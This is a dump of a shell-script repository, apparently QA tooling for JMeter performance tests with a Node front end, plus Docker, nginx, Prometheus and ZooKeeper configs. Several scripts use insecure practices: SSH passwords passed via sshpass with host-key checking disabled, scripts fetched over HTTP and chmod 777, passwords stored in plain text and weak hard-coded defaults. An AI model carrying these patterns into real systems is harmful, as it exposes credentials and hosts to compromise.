pid=$7 8 | file=$process'_'$duration 9 | filename=$path'/'$file 10 | echo "start get mem" 11 | sshpass -p $pw ssh -o StrictHostKeyChecking=no $user@$ip "sh ~/mem/getmem_qa.sh $process $pid" 12 | sshpass -p $pw scp -o StrictHostKeyChecking=no -r $user@$ip:~/mem/output/top.$process.$pid.csv $path/$file'_top' 13 | sshpass -p $pw scp -o StrictHostKeyChecking=no -r $user@$ip:~/mem/output/psaux.$process.$pid.csv $path/$file'_ps' 14 | 15 | start=`sed -n "2,2p" $path/log.jtl |awk '{print substr($0,0,10)}'` 16 | end=`cat $path/log.jtl|awk 'END {print}'|awk '{print substr($0,0,10)}'` 17 | starttime=`TZ=UTC-8 date -d @$start "+%Y-%m-%d %H:%M"` 18 | endtime=`TZ=UTC-8 date -d @$end "+%Y-%m-%d %H:%M"` 19 | 20 | echo $starttime 21 | echo $endtime 22 | startline1=`grep -n "$starttime" $path/$file'_top'|head -n 1|awk -F ":" '{print $1}'` 23 | endline1=`grep -n "$endtime" $path/$file'_top'|awk 'END {print}'|awk -F ":" '{print $1}'` 24 | sed -n "1,1p" $path/$file'_top' >$path/$file'_top_new' 25 | sed -n "${startline1},${endline1}p" $path/$file'_top' >>$path/$file'_top_new' 26 | mv $path/$file'_top_new' $path/$file'_top' 27 | # sed -i "s#,,#,DATE_TIME,#g" $path/$file'_top' 28 | 29 | startline2=`grep -n "$starttime" $path/$file'_ps'|head -n 1|awk -F ":" '{print $1}'` 30 | endline2=`grep -n "$endtime" $path/$file'_ps'|awk 'END {print}'|awk -F ":" '{print $1}'` 31 | sed -n "1,1p" $path/$file'_ps' >$path/$file'_ps_new' 32 | sed -n "${startline2},${endline2}p" $path/$file'_ps' >>$path/$file'_ps_new' 33 | mv $path/$file'_ps_new' $path/$file'_ps' 34 | # cat $path/$file'_ps'|awk -F "," '{print $7","$8}'>$path/$file 35 | 36 | mkdir $path'/chart_'$file 37 | sed "s#targetfile#$filename#g" views/charts/index.html > $path'/chart_'$file'/index.html' 38 | echo "stop get mem" 39 | 40 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | path=`pwd` 3 | [[ -d ~/mem/ ]] && 4 | echo "~/mem/ exist..." && 5 | wget "http://10.1.1.1:3334/public/mem/mem.sh" -O ~/mem/mem.sh && 6 | wget "http://10.1.1.1:3334/public/mem/io.sh" -O ~/mem/io.sh && 7 | wget "http://10.1.1.1:3334/public/mem/io2.sh" -O ~/mem/io2.sh && 8 | wget "http://10.1.1.1:3334/public/mem/addmem_qa.sh" -O ~/mem/addmem_qa.sh && 9 | wget "http://10.1.1.1:3334/public/mem/getmem_qa.sh" -O ~/mem/getmem_qa.sh && 10 | wget "http://10.1.1.1:3334/public/mem/getpic_qa.sh" -O ~/mem/getpic_qa.sh && 11 | wget "http://10.1.1.1:3334/public/mem/getpids_qa.sh" -O ~/mem/getpids_qa.sh && 12 | wget "http://10.1.1.1:3334/public/mem/script/functions.sh" -O ~/mem/script/functions.sh && 13 | wget "http://10.1.1.1:3334/public/mem/script/diskio.create.sh" -O ~/mem/script/diskio.create.sh && 14 | wget "http://10.1.1.1:3334/public/mem/script/diskio.update.sh" -O ~/mem/script/diskio.update.sh && 15 | wget "http://10.1.1.1:3334/public/mem/script/netio.create.sh" -O ~/mem/script/netio.create.sh && 16 | wget "http://10.1.1.1:3334/public/mem/script/netio.update.sh" -O ~/mem/script/netio.update.sh && 17 | wget "http://10.1.1.1:3334/public/mem/script/cpu.create.sh" -O ~/mem/script/cpu.create.sh && 18 | wget "http://10.1.1.1:3334/public/mem/script/cpu.update.sh" -O ~/mem/script/cpu.update.sh && 19 | wget "http://10.1.1.1:3334/public/mem/script/load.create.sh" -O ~/mem/script/load.create.sh && 20 | wget "http://10.1.1.1:3334/public/mem/script/load.update.sh" -O ~/mem/script/load.update.sh && 21 | wget "http://10.1.1.1:3334/public/mem/script/mem.create.sh" -O ~/mem/script/mem.create.sh && 22 | wget "http://10.1.1.1:3334/public/mem/script/mem.update.sh" -O ~/mem/script/mem.update.sh && 23 | ifstat -v|grep "ifstat version 1.1."|awk '{ if($0=="") print "install ifstat failed."; else print "install ifstat succeed."}' && 24 | chmod 777 ~/mem/script/*.sh && 25 | chmod 777 ~/mem/*.sh && 26 | exit 1 27 | 28 | date >>$path/crontab.bak 29 | crontab -l >>$path/crontab.bak 30 | crontab -l | grep -v "$path/mem/mem.sh" | grep -v "$path/mem/io2.sh" >crontab.tmp 31 | echo -e "* * * * * sleep 10; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp 32 | echo -e "* * * * * sleep 20; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp 33 | echo -e "* * * * * sleep 30; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp 34 | echo -e "* * * * * sleep 40; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp 35 | echo -e "* * * * * sleep 50; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp 36 | echo -e "* * * * * sleep 60; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp 37 | echo -e "*/5 * * * * $path/mem/io2.sh >/dev/null 2>&1" >>crontab.tmp 38 | crontab crontab.tmp 39 | rm -f crontab.tmp 40 | 41 | wget "http://10.1.1.1:3334/public/mem.zip" -O ~/mem.zip 42 | unzip ~/mem.zip -d . 43 | rm -f ~/mem.zip 44 | 45 | yum install rrdtool -y 46 | wget http://10.1.1.1:3334/public/ifstat-1.1.tar.gz 47 | tar xzvf ifstat-1.1.tar.gz 48 | cd ifstat-1.1 49 | ./configure 50 | make 51 | make install 52 | 53 | if [ $? -ne 0 ]; then 54 | echo "install ifstat failed." 55 | else 56 | echo "install ifstat succeed." 57 | fi 58 | 59 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "docker-jmeter", 3 | "version": "1.0.0", 4 | "description": "docker-jmeter", 5 | "main": "app.js", 6 | "scripts": { 7 | "test": "node app.js" 8 | }, 9 | "keywords": [ 10 | "node", 11 | "crud", 12 | "mysql" 13 | ], 14 | "dependencies": { 15 | "body-parser": "^1.18.3", 16 | "child_process": "^1.0.2", 17 | "cookie-parser": "^1.4.3", 18 | "csvjson": "^5.0.0", 19 | "ejs": "^2.5.6", 20 | "express": "^4.16.3", 21 | "express-flash": "0.0.2", 22 | "express-myconnection": "^1.0.4", 23 | "express-session": "^1.15.6", 24 | "express-validator": "^3.2.0", 25 | "formidable": "^1.1.1", 26 | "log4js": "^3.0.2", 27 | "method-override": "^3.0.0", 28 | "moment": "^2.22.2", 29 | "multer": "^1.3.1", 30 | "mysql": "^2.16.0", 31 | "serve-index": "^1.9.1", 32 | "xml2json": "^0.11.2" 33 | }, 34 | "devDependencies": {}, 35 | "author": "Sarah", 36 | "license": "ISC" 37 | } 38 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/public/css/style.css: -------------------------------------------------------------------------------- 1 | 2 | body { 3 | color: #566787; 4 | background: #f5f5f5; 5 | font-family: 'Varela Round', sans-serif; 6 | font-size: 13px; 7 | } 8 | 9 | .table-wrapper { 10 | background: #fff; 11 | padding: 20px 25px; 12 | margin: 30px 0; 13 | border-radius: 3px; 14 | box-shadow: 0 1px 1px rgba(0, 0, 0, .05); 15 | } 16 | 17 | .table-title { 18 | padding-bottom: 15px; 19 | background: #435d7d; 20 | color: #fff; 21 | padding: 16px 30px; 22 | margin: -20px -25px 10px; 23 | border-radius: 3px 3px 0 0; 24 | } 25 | 26 | .table-title h2 { 27 | margin: 5px 0 0; 28 | font-size: 24px; 29 | } 30 | 31 | .table-title .btn-group { 32 | float: right; 33 | } 34 | 35 | .table-title .btn { 36 | color: #fff; 37 | float: right; 38 | font-size: 13px; 39 | border: none; 40 | min-width: 50px; 41 | border-radius: 2px; 42 | border: none; 43 | outline: none !important; 44 | margin-left: 10px; 45 | } 46 | 47 | .table-title .btn i { 48 | float: left; 49 | font-size: 21px; 50 | margin-right: 5px; 51 | } 52 | 53 | .table-title .btn span { 54 | float: left; 55 | margin-top: 2px; 56 | } 57 | 58 | table.table tr th, 59 | table.table tr td { 60 | border-color: #e9e9e9; 61 | padding: 12px 15px; 62 | vertical-align: middle; 63 | } 64 | 65 | table.table tr th:first-child { 66 | width: 60px; 67 | } 68 | 69 | table.table tr th:last-child { 70 | width: 100px; 71 | } 72 | 73 | table.table-striped tbody tr:nth-of-type(odd) { 74 | background-color: #fcfcfc; 75 | } 76 | 77 | table.table-striped.table-hover tbody tr:hover { 78 | background: #f5f5f5; 79 | } 80 | 81 | table.table th i { 82 | font-size: 13px; 83 | margin: 0 5px; 84 | cursor: pointer; 85 | } 86 | 87 | table.table td:last-child i { 88 | opacity: 0.9; 89 | font-size: 22px; 90 | margin: 0 5px; 91 | } 92 | 93 | table.table td a { 94 | font-weight: bold; 95 | color: #566787; 96 | display: inline-block; 97 | text-decoration: none; 98 | outline: none !important; 99 | } 100 | 101 | table.table td a:hover { 102 | color: #2196F3; 103 | } 104 | 105 | table.table td a.edit { 106 | color: #FFC107; 107 | } 108 | 109 | table.table td a.delete { 110 | color: #F44336; 111 | } 112 | 113 | table.table td i { 114 | font-size: 19px; 115 | } 116 | 117 | table.table .avatar { 118 | border-radius: 50%; 119 | vertical-align: middle; 120 | margin-right: 10px; 121 | } 122 | 123 | .pagination { 124 | float: right; 125 | margin: 0 0 5px; 126 | } 127 | 128 | .pagination li a { 129 | border: none; 130 | font-size: 13px; 131 | min-width: 30px; 132 | min-height: 30px; 133 | color: #999; 134 | margin: 0 2px; 135 | line-height: 30px; 136 | border-radius: 2px !important; 137 | text-align: center; 138 | padding: 0 6px; 139 | } 140 | 141 | .pagination li a:hover { 142 | color: #666; 143 | } 144 | 145 | .pagination li.active a, 146 | .pagination li.active a.page-link { 147 | background: #03A9F4; 148 | } 149 | 150 | .pagination li.active a:hover { 151 | background: #0397d6; 152 | } 153 | 154 | .pagination li.disabled i { 155 | color: #ccc; 156 | } 157 | 158 | .pagination li i { 159 | font-size: 16px; 160 | padding-top: 6px 161 | } 162 | 163 | .hint-text { 164 | float: left; 165 | margin-top: 10px; 166 | font-size: 13px; 167 | } 168 | 169 | /* Custom checkbox */ 170 | 171 | .custom-checkbox { 172 | position: relative; 173 | } 174 | 175 | .custom-checkbox input[type="checkbox"] { 176 | opacity: 0; 177 | position: absolute; 178 | margin: 5px 0 0 3px; 179 | z-index: 9; 180 | } 181 | 182 | .custom-checkbox label:before { 183 | width: 18px; 184 | height: 18px; 185 | } 186 | 187 | .custom-checkbox label:before { 188 | content: ''; 189 | margin-right: 10px; 190 | display: inline-block; 191 | vertical-align: text-top; 192 | background: white; 193 | border: 1px solid #bbb; 194 | border-radius: 2px; 195 | box-sizing: border-box; 196 | z-index: 2; 197 | } 198 | 199 | .custom-checkbox input[type="checkbox"]:checked+label:after { 200 | content: ''; 201 | position: absolute; 202 | left: 6px; 203 | top: 3px; 204 | width: 6px; 205 | height: 11px; 206 | border: solid #000; 207 | border-width: 0 3px 3px 0; 208 | transform: inherit; 209 | z-index: 3; 210 | transform: rotateZ(45deg); 211 | } 212 | 213 | .custom-checkbox input[type="checkbox"]:checked+label:before { 214 | border-color: #03A9F4; 215 | background: #03A9F4; 216 | } 217 | 218 | .custom-checkbox input[type="checkbox"]:checked+label:after { 219 | border-color: #fff; 220 | } 221 | 222 | .custom-checkbox input[type="checkbox"]:disabled+label:before { 223 | color: #b8b8b8; 224 | cursor: auto; 225 | box-shadow: none; 226 | background: #ddd; 227 | } 228 | 229 | /* Modal styles */ 230 | 231 | .modal .modal-dialog { 232 | max-width: 400px; 233 | } 234 | 235 | .modal .modal-header, 236 | .modal .modal-body, 237 | .modal .modal-footer { 238 | padding: 20px 30px; 239 | } 240 | 241 | .modal .modal-content { 242 | border-radius: 3px; 243 | } 244 | 245 | .modal .modal-footer { 246 | background: #ecf0f1; 247 | border-radius: 0 0 3px 3px; 248 | } 249 | 250 | .modal .modal-title { 251 | display: inline-block; 252 | } 253 | 254 | .modal .form-control { 255 | border-radius: 2px; 256 | box-shadow: none; 257 | border-color: #dddddd; 258 | } 259 | 260 | .modal textarea.form-control { 261 | resize: vertical; 262 | } 263 | 264 | .modal .btn { 265 | border-radius: 2px; 266 | min-width: 100px; 267 | } 268 | 269 | .modal form label { 270 | font-weight: normal; 271 | } 272 | 273 | #mem,#cpu,#virt,#res,#vsz,#rss{ 274 | height: 300px; 275 | margin-bottom: 10px; 276 | } -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/public/js/script.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function () { 2 | // Activate tooltip 3 | $('[data-toggle="tooltip"]').tooltip(); 4 | 5 | // Select/Deselect checkboxes 6 | var checkbox = $('table tbody input[type="checkbox"]'); 7 | $("#selectAll").click(function () { 8 | var ids = []; 9 | if (this.checked) { 10 | checkbox.each(function () { 11 | this.checked = true; 12 | ids.push(this.value); 13 | }); 14 | $("#deletefiles").attr("action", "/delete/" + ids); 15 | } else { 16 | checkbox.each(function () { 17 | this.checked = false; 18 | }); 19 | $("#deletefiles").attr("action", "/delete/"); 20 | } 21 | }); 22 | checkbox.click(function () { 23 | var ids = []; 24 | if (!this.checked) { 25 | $("#selectAll").prop("checked", false); 26 | } 27 | checkbox.each(function () { 28 | if (this.checked) { 29 | ids.push(this.value); 30 | } 31 | }); 32 | if (ids.length == checkbox.length) { 33 | $("#selectAll").prop("checked", true); 34 | } 35 | 36 | $("#deletefiles").attr("action", "/delete/" + ids); 37 | }); 38 | }); 39 | function rightpw(form) { 40 | console.log("rightpw") 41 | console.log(form.ip.value) 42 | $.ajax({ 43 | url: '/rightpw', 44 | dataType: "json", 45 | data: 'ip=' + form.ip.value + '&user=' + form.user.value + '&pw=' + form.pw.value, 46 | type: 'POST', 47 | success: function (data) { 48 | console.log(data); 49 | form.rightpw.value = form.pw.value 50 | }, 51 | error: function (error, status, message) { 52 | alert("Authentication failed!"); 53 | form.rightpw.value = "" 54 | } 55 | }); 56 | } 57 | function rightpro(form) { 58 | console.log("rightpro") 59 | console.log(form.ip.value) 60 | $.ajax({ 61 | url: '/rightpro', 62 | dataType: "json", 63 | data: 'ip=' + form.ip.value + '&user=' + form.user.value + '&pw=' + form.pw.value + '&process=' + form.process.value, 64 | type: 'POST', 65 | success: function (data) { 66 | console.log(data); 67 | form.rightpro.value = form.process.value 68 | }, 69 | error: function (error, status, message) { 70 | alert("can't find this process!"); 71 | form.rightpro.value = "" 72 | } 73 | }); 74 | } 75 | function CheckChart(form) { 76 | if (form.status.value == "wrong") { 77 | alert("jmx file is wrong") 78 | return false 79 | } else { 80 | if (form.ip.value != "" && form.user.value != "" && form.pw.value != "" && form.process.value != "") { 81 | if (form.rightpw.value != "") { 82 | if (form.rightpro.value != "") { 83 | return true 84 | } else { 85 | alert("can't find this process!") 86 | return false 87 | } 88 | } else { 89 | alert("Authentication failed!") 90 | return false 91 | } 92 | } else { 93 | alert("can't be empty!") 94 | return false 95 | } 96 | } 97 | } 98 | function CheckJmx(form) { 99 | if (form.name.value != "" && form.files.value != "") { 100 | if (form.rightname.value != "") { 101 | return true 102 | } else { 103 | alert("name must be uniq!") 104 | return false 105 | } 106 | } else { 107 | alert("can't be empty!") 108 | return false 109 | } 110 | } 111 | /** 112 | *根据指定长度截取字符串,string表示待截取字符串, 113 | *maxLen表示截取后字符串长度 114 | */ 115 | function strLenCut(string, maxLen) { 116 | var strCut = "",len = 0 ; 117 | for (var i = 0; i < string.length; i = i + 1) { 118 | charA = string.charAt(i); 119 | if (escape(charA).length > 4) { 120 | /*汉字编码后长度大于4*/ 121 | len = len + 2; 122 | } else { 123 | len = len + 1; 124 | } 125 | if (len <= maxLen) { 126 | /*未超出指定长度,拼接到返回的字符串中*/ 127 | strCut = strCut.concat(charA); 128 | } else { 129 | /*超出指定长度,显示...*/ 130 | strCut = strCut.concat("..."); 131 | break; 132 | } 133 | } 134 | return strCut; 135 | } -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/stop_all.sh: -------------------------------------------------------------------------------- 1 | ip=$1 2 | user=$2 3 | pw=$3 4 | process=$4 5 | duration=$5 6 | name=$6 7 | echo "stop all begin" 8 | jmxstart='jmeter -n -t public/files/'$name'/'$name'.jmx' 9 | echo $jmxstart 10 | jmxpid=`pgrep -f "$jmxstart"` 11 | echo $jmxpid 12 | jarstart='ApacheJMeter.jar -n -t public/files/'$name'/'$name'.jmx' 13 | echo $jarstart 14 | jarpid=`pgrep -f "$jarstart"` 15 | echo $jarpid 16 | 17 | 18 | while [ "$jmxpid" = "" ] 19 | do 20 | echo $jmxpid 21 | jmxpid=`pgrep -f "$jmxstart"` 22 | sleep 1 23 | done 24 | kill $jmxpid 25 | 26 | while [ "$jarpid" = "" ] 27 | do 28 | echo $jarpid 29 | jarpid=`pgrep -f "$jarstart"` 30 | sleep 1 31 | done 32 | kill $jarpid 33 | 34 | echo "stop all end" -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/views/charts/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 性能监测结果 7 | 8 | 9 | 11 | 12 | 14 | 15 | 89 | 90 | 91 | 92 | 93 | 94 |

95 |
96 |
97 |
98 | 99 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/views/jmxs/add.ejs: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/views/jmxs/delete.ejs: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/views/layouts/footer.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/views/layouts/header.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Docker性能测试自动化 - 5 | <%= title %> 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 |
21 |

22 | Docker性能测试自动化平台 23 |

24 | 25 |
26 |
27 | Docker性能测试自动化平台可以解决工作中遇到的以下问题: 28 |
29 |
30 | 1.在虚拟机上运行性能测试时,每次都要配置性能测试环境; 31 |
32 |
33 | 2.如果忘记记录目标服务器性能,性能测试需要重新执行; 34 |
35 |
36 | 3.仅保留最近一次执行性能测试的结果,其他结果需要手动记录或者重复工作; 37 |
38 |
39 | 4.目标服务器性能监测数据不够准确,且需要手动将监测结果转为图表。 40 |
41 |
42 |
-------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/views/layouts/message.ejs: -------------------------------------------------------------------------------- 1 | <% if (messages.error) { %> 2 |
3 | 4 | × 5 | 6 | Warning!<%- messages.error %> 7 |
8 | <% } %> 9 | <% if (messages.success) { %> 10 |
11 | 12 | × 13 | 14 | Success!<%- messages.success %> 15 |
16 | <% } %> -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/mysql/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mysql:5.7 2 | COPY jmxs.sql /docker-entrypoint-initdb.d/ 3 | RUN chmod a+x /docker-entrypoint-initdb.d/jmxs.sql -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/mysql/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | mysql: 4 | build: 5 | context: . 6 | dockerfile: Dockerfile 7 | image: mysql 8 | command: --default-authentication-plugin=mysql_native_password 9 | restart: always 10 | environment: 11 | MYSQL_ROOT_PASSWORD: '12345678' 12 | ports: 13 | - 3306:3306 14 | tty: true 15 | stdin_open: true 16 | container_name: mysql -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/mysql/jmxs.sql: -------------------------------------------------------------------------------- 1 | create database test; 2 | use test; 3 | CREATE TABLE jmxs ( 4 | id int(11) unsigned NOT NULL AUTO_INCREMENT, 5 | name varchar(50) NOT NULL DEFAULT '', 6 | file varchar(50) NOT NULL DEFAULT '', 7 | status varchar(50) NOT NULL DEFAULT '', 8 | ip varchar(50) DEFAULT NULL, 9 | user varchar(50) DEFAULT NULL, 10 | pw varchar(50) DEFAULT NULL, 11 | process varchar(50) DEFAULT NULL, 12 | duration int(11) DEFAULT NULL, 13 | isactive int(11) NOT NULL, 14 | createtime datetime NOT NULL, 15 | changetime datetime NOT NULL, 16 | jmeterip varchar(50) DEFAULT NULL, 17 | pid int(11) DEFAULT NULL, 18 | PRIMARY KEY (id) 19 | ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1; -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/start.sh: -------------------------------------------------------------------------------- 1 | rm -rf jmeter-docker 2 | git clone -b jmeternode https://git.qadev.com/jayzhen/jmeter-docker.git 3 | sed -i "s#127.0.0.1#host_ip#g" /data/daemon/jmeter-docker/jmeternode/config/config.js 4 | sed -i "s#127.0.0.1#host_ip#g" /data/daemon/jmeter-docker/jmeternode/routes/index.js 5 | cd jmeter-docker/jmeternode 6 | ln -s /data/daemon/public/files public/files 7 | npm install 8 | nohup npm run test & 9 | tail -f nohup.out -------------------------------------------------------------------------------- /docker/Dockerfile/kratos/kratos-service: -------------------------------------------------------------------------------- 1 | FROM python:3.7.6 2 | 3 | MAINTAINER jwensh 4 | 5 | # 创建工作目录 6 | RUN mkdir -p /data/kratos \ 7 | &&apt-get update \ 8 | &&apt-get -y install freetds-dev \ 9 | &&apt-get -y install unixodbc-dev 10 | 11 | # 添加必要的工作文件 12 | COPY app /data/kratos 13 | COPY requirements.txt /data/kratos 14 | 15 | # 安装必要的库 16 | RUN pip install -r /data/kratos/requirements.txt -i https://pypi.douban.com/simple 17 | 18 | WORKDIR /data/kratos 19 | 20 | CMD ["/bin/bash","run.sh"] -------------------------------------------------------------------------------- /docker/Dockerfile/kratos/requirements.txt: -------------------------------------------------------------------------------- 1 | Django 2 | djangorestframework 3 | pyDes 4 | PyMySQL 5 | redis 6 | requests 7 | pymssql 8 | pyodbc 9 | paramiko 10 | psutil 11 | demjson -------------------------------------------------------------------------------- /docker/Dockerfile/kratos/run.sh: -------------------------------------------------------------------------------- 1 | python /data/kratos/manage.py runserver 0.0.0.0:10001 -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/agent-stack.yml: -------------------------------------------------------------------------------- 1 | version: '3.2' 2 | 3 | services: 4 | agent: 5 | image: portainer/agent 6 | volumes: 7 | - /var/run/docker.sock:/var/run/docker.sock 8 | - /var/lib/docker/volumes:/var/lib/docker/volumes 9 | ports: 10 | - target: 9001 11 | published: 9001 12 | protocol: tcp 13 | mode: host 14 | networks: 15 | - portainer_agent 16 | deploy: 17 | mode: global 18 | placement: 19 | constraints: [node.platform.os == linux] 20 | 21 | networks: 22 | portainer_agent: 23 | driver: overlay 24 | attachable: true -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/common/config/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/node-work/common/config/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/common/config/dubbo-admin/dubbo.properties: -------------------------------------------------------------------------------- 1 | dubbo.registry.address=zookeeper://10.1.1.1:2181 2 | dubbo.metadata-report.address=zookeeper://10.1.1.1:2181 -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/common/config/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx root; 2 | worker_processes 1; 3 | 4 | error_log /var/log/nginx/error.log warn; 5 | pid /var/run/nginx.pid; 6 | 7 | 8 | events { 9 | worker_connections 1024; 10 | } 11 | 12 | 13 | http { 14 | include /etc/nginx/mime.types; 15 | default_type application/octet-stream; 16 | 17 | log_format main '$remote_addr - $remote_user [$time_local] "$request" ' 18 | '$status $body_bytes_sent "$http_referer" ' 19 | '"$http_user_agent" "$http_x_forwarded_for"'; 20 | 21 | access_log /var/log/nginx/access.log main; 22 | 23 | sendfile on; 24 | #tcp_nopush on; 25 | 26 | client_header_buffer_size 128k; 27 | large_client_header_buffers 4 32k; 28 | client_max_body_size 10m; 29 | client_body_buffer_size 1024k; 30 | 31 | keepalive_timeout 180; 32 | #gzip on; 33 | 34 | include /etc/nginx/conf.d/*.conf; 35 | } 36 | -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/common/config/nginx/nginx.conf.bak: -------------------------------------------------------------------------------- 1 | worker_processes auto; 2 | 3 | events { 4 | worker_connections 1024; 5 | use epoll; 6 | multi_accept on; 7 | } 8 | 9 | http { 10 | include /etc/nginx/mime.types; 11 | tcp_nodelay on; 12 | 13 | # this is necessary for us to be able to disable request buffering in all cases 14 | proxy_http_version 1.1; 15 | 16 | client_header_buffer_size 512k; 17 | large_client_header_buffers 4 64k; 18 | client_max_body_size 2G; 19 | client_body_buffer_size 4096k; 20 | proxy_ignore_client_abort on; 21 | proxy_read_timeout 600; 22 | proxy_send_timeout 600; 23 | 24 | keepalive_timeout 6000; 25 | 26 | 27 | server { 28 | listen 80; 29 | server_name community.qadev.sg.com localhost 30 | # disable any limits to avoid HTTP 413 for large image uploads 31 | client_max_body_size 0; 32 | chunked_transfer_encoding on; 33 | location / { 34 | proxy_pass http://ui/; 35 | proxy_set_header Host $host; 36 | proxy_set_header X-Real-IP $remote_addr; 37 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 38 | 39 | # When setting up Harbor behind other proxy, such as an Nginx instance, remove the below line if the proxy already has similar settings. 40 | proxy_set_header X-Forwarded-Proto $scheme; 41 | 42 | proxy_buffering off; 43 | proxy_request_buffering off; 44 | } 45 | 46 | location /v1/ { 47 | return 404; 48 | } 49 | 50 | location /v2/ { 51 | proxy_pass http://registry/v2/; 52 | proxy_set_header Host $http_host; 53 | proxy_set_header X-Real-IP $remote_addr; 54 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 55 | 56 | # When setting up Harbor behind other proxy, such as an Nginx instance, remove the below line if the proxy already has similar settings. 57 | proxy_set_header X-Forwarded-Proto $scheme; 58 | 59 | proxy_buffering off; 60 | proxy_request_buffering off; 61 | 62 | } 63 | 64 | location /service/ { 65 | proxy_pass http://ui/service/; 66 | proxy_set_header Host $host; 67 | proxy_set_header X-Real-IP $remote_addr; 68 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 69 | 70 | # When setting up Harbor behind other proxy, such as an Nginx instance, remove the below line if the proxy already has similar settings. 71 | 72 | # location ^~ /ota/ { 73 | # proxy_pass http://qadev-ota:8080; 74 | # proxy_set_header X-Real-IP $remote_addr; 75 | # proxy_set_header Host $host; 76 | # proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 77 | # proxy_buffer_size 4k; 78 | # proxy_buffers 4 32k; 79 | # proxy_busy_buffers_size 64k; 80 | # proxy_temp_file_write_size 64k; 81 | # proxy_max_temp_file_size 512m; 82 | # } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/common/config/prometheus/docker_influxdb_create_user.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #file:docker_influxdb_create_user.sh 3 | #company:cvnavi.com 4 | #author:Pengjunlin 5 | echo "当前执行文件......$0" 6 | INFLUXDB_DATABASE_NAME="rtvsweb" 7 | INFLUXDB_USER_NAME="admin" 8 | INFLUXDB_USER_PWD="admin" 9 | # influxdb数据库相关配置 10 | echo "influxdb数据库相关配置" 11 | influx -version 12 | # 查询数据库列表 13 | echo "查询数据库列表" 14 | influx -execute "show databases" 15 | # 删除数据库 16 | echo "删除数据库$INFLUXDB_DATABASE_NAME" 17 | influx -execute "drop database $INFLUXDB_DATABASE_NAME" 18 | # 创建数据库 19 | echo "创建数据库$INFLUXDB_DATABASE_NAME" 20 | influx -execute "create database $INFLUXDB_DATABASE_NAME" 21 | # 创建用户并授权 22 | echo "创建$INFLUXDB_USER_NAME用户并授权" 23 | influx -execute "create user "$INFLUXDB_USER_NAME" with password '$INFLUXDB_USER_PWD' with all privileges" 24 | # 查询用户列表 25 | echo "查询用户列表" 26 | influx -execute "use $INFLUXDB_DATABASE_NAME" -execute "show users" 27 | -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/common/config/prometheus/prometheus.yml: -------------------------------------------------------------------------------- 1 | global: 2 | scrape_interval: 60s 3 | evaluation_interval: 60s 4 | 5 | scrape_configs: 6 | - job_name: prometheus 7 | static_configs: 8 | - targets: ['10.1.1.1:19090'] 9 | labels: 10 | instance: prometheus 11 | 12 | - job_name: 'cadvisor' 13 | static_configs: 14 | - targets: ['10.1.1.1:18080'] -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/common/config/zookeeper/conf/zoo.cfg: -------------------------------------------------------------------------------- 1 | dataDir=/data 2 | dataLogDir=/datalog 3 | tickTime=2000 4 | initLimit=5 5 | syncLimit=2 6 | autopurge.snapRetainCount=3 7 | autopurge.purgeInterval=0 8 | maxClientCnxns=60 9 | standaloneEnabled=false 10 | server.1=localhost:2888:3888;2181 11 | -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/common/config/zookeeper/conf/zoo.cfg.dynamic.next: -------------------------------------------------------------------------------- 1 | server.1=localhost:2888:3888:participant;0.0.0.0:2181 2 | version=300000000 -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/compose-uts.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | baike-8801: 4 | container_name: baike-8801 5 | image: docker.qadev.com/uts/chrome:3.141.0 6 | restart: always 7 | ports: 8 | - "8801:4444" 9 | - 